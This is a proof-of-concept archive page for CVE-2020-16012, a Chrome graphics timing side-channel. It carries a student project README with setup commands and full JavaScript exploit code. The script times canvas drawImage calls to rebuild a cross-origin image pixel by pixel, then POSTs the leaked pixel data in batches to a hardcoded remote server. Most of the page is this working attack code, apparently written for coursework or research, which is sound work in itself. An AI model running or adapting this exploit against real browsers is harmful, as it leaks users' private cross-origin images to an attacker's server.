Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2020-16012 PoC — Mozilla Firefox 安全漏洞

Source
Associated Vulnerability
Title: Mozilla Firefox 安全漏洞 (CVE-2020-16012)
Description:Side-channel information leakage in graphics in Google Chrome prior to 87.0.4280.66 allowed a remote attacker to leak cross-origin data via a crafted HTML page.
Readme
# Projet M2 - Side Channel Attack

# Client

## Chrome Version 83

### Installation Link
https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Linux_x64/756066/

### Launch command
```bash
unzip Linux...chrome.zip
cd chrome-linux/
./chrome --disable-gpu --disable-software-rasterizer --no-sandbox ../code/client/exploit.html
```

# Server

## Install Python Packages
```bash
cd code/server
pip install -r requirements.txt
```

## Launch Server
Se lance sur le port 7000 en localhost.
```bash
python3 server.py
```

# Output
Une image **output/img1.png** sera crée quand vous ferez "Ctrl+C" pour éteindre le serveur.

# Script
```html
<script>
  let Heatmap = null
  let ScratchContext = null

  const Width = 75
  const Height = 75

  const Iters = 200
  const BATCH_SIZE = 100 // Taille du lot pour l'envoi
  
  // URL de base du serveur
const SERVER_URL = "http://192.168.0.26:7000"

function median(lst) {
let sorted = lst.slice(0).sort()
return sorted[Math.floor(sorted.length / 2)]
}

function zeroDelay() {
return new Promise(resolve => setTimeout(resolve, 0))
}

// Fonction pour envoyer les données RGB à un serveur via POST (méthode individuelle)
async function sendPixelData(x, y, rgb) {
  // Envoie les données RGB au serveur distant
  await fetch(`${SERVER_URL}`, {
      method: "POST",
      body: JSON.stringify({ x, y, rgb }),
      headers: { "Content-Type": "application/json" }
  })
}

// Fonction pour envoyer un lot de pixels
async function sendPixelBatch(pixelBatch) {
  await fetch(`${SERVER_URL}/batch`, {
      method: "POST",
      body: JSON.stringify({ pixels: pixelBatch }),
      headers: { "Content-Type": "application/json" }
  });
  console.log(`Envoi d'un lot de ${pixelBatch.length} pixels`);
}

// Fonction pour sauvegarder l'image sur le serveur
async function saveImage() {
  try {
      const response = await fetch(`${SERVER_URL}/auto-save`);
      const data = await response.json();
      
      if (response.ok) {
          displayStatus(`Image sauvegardée: ${data.path}`, true);
          // Optionnellement, afficher l'image sauvegardée
          document.getElementById('saved-image').src = `${SERVER_URL}/get-latest-image?t=${Date.now()}`;
          document.getElementById('saved-image-container').style.display = 'block';
      } else {
          displayStatus(`Erreur: ${data.error}`, false);
      }
  } catch (error) {
      displayStatus(`Erreur de connexion: ${error.message}`, false);
  }
}

// Fonction pour afficher les messages de statut
function displayStatus(message, isSuccess) {
  const statusElement = document.getElementById('status');
  statusElement.textContent = message;
  statusElement.className = isSuccess ? 'success' : 'error';
  statusElement.style.display = 'block';
  
  // Masquer le message après 5 secondes
  setTimeout(() => {
      statusElement.style.display = 'none';
  }, 5000);
}

async function timePixel(image, x, y) {
let startTime = performance.now()
for (let j = 0; j < Iters; j++) {
  ScratchContext.drawImage(image, x, y, 1, 1, 0, 0, 1024, 1024)
}
/* in Chromium, the draw operations aren't actually performed
   immediately, but only after the JavaScript thread stops. we wait
   on a timeout with a duration of zero to give the browser a chance
   to do the drawing, as otherwise we'd just be measuring the time
   taken to enqueue all of the draw operations. */
await zeroDelay()
let endTime = performance.now()

return endTime - startTime
}

function drawHeatmap(heatmap) {
let min = Math.min(...heatmap.map(l => Math.min(...l)))
let max = Math.max(...heatmap.map(l => Math.max(...l)))

Heatmap.clearRect(0, 0, Width, Height)

for (let x = 0; x < heatmap.length; x++) {
  for (let y = 0; y < heatmap[x].length; y++) {
    let color = Math.round(255 * (max - heatmap[x][y]) / (max - min))
    Heatmap.fillStyle = `rgb(${color}, ${color}, ${color})`
    Heatmap.fillRect(x, y, 1, 1)
  }
}
}

async function recoverImage(image) {
document.getElementById('progress-info').textContent = "Initialisation...";

/* the first couple of measurements are always higher
   than they're supposed to be because some interpreter
   optimizations haven't kicked in yet, so we "warm up"
   the interpreter by throwing away 5 measurements. */
for (let i = 0; i < 5; i++) {
  await timePixel(image, 0, 0)
}

let pixels = [];
let allPixelData = [];
let currentBatch = [];
const totalPixels = Width * Height;
let processedPixels = 0;

document.getElementById('progress-info').textContent = "Récupération en cours...";

for (let x = 0; x < Width; x++) {
  let col = []
  for (let y = 0; y < Height; y++) {
    rgb = await timePixel(image, x, y)
    col.push(rgb)
    
    // Ajouter le pixel au batch courant
    currentBatch.push({x, y, rgb});
    processedPixels++;
    
    // Mettre à jour l'indicateur de progression
    document.getElementById('progress-info').textContent = 
        `Progression: ${processedPixels}/${totalPixels} pixels (${Math.round(processedPixels/totalPixels*100)}%)`;
    
    // Si le batch atteint la taille limite, l'envoyer
    if (currentBatch.length >= BATCH_SIZE) {
      await sendPixelBatch([...currentBatch]); // Copie du batch pour éviter les problèmes de référence
      currentBatch = []; // Réinitialiser le batch
    }

    drawHeatmap(pixels.concat([col]));
  }
  pixels.push(col)
}

// Envoyer le dernier batch s'il reste des pixels
if (currentBatch.length > 0) {
  await sendPixelBatch(currentBatch);
}

drawHeatmap(pixels)
document.getElementById('progress-info').textContent = "Récupération terminée!";
document.getElementById('save-btn').disabled = false;
saveImage();
}

function init() {
ScratchContext = document.getElementById('scratch').getContext('2d')
ScratchContext.imageSmoothingEnabled = false

Heatmap = document.getElementById('heatmap').getContext('2d')
Heatmap.imageSmoothingEnabled = false

// Désactiver le bouton de sauvegarde jusqu'à ce que la récupération soit terminée
document.getElementById('save-btn').disabled = true;

recoverImage(document.getElementById('target'))
}
</script>
```
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →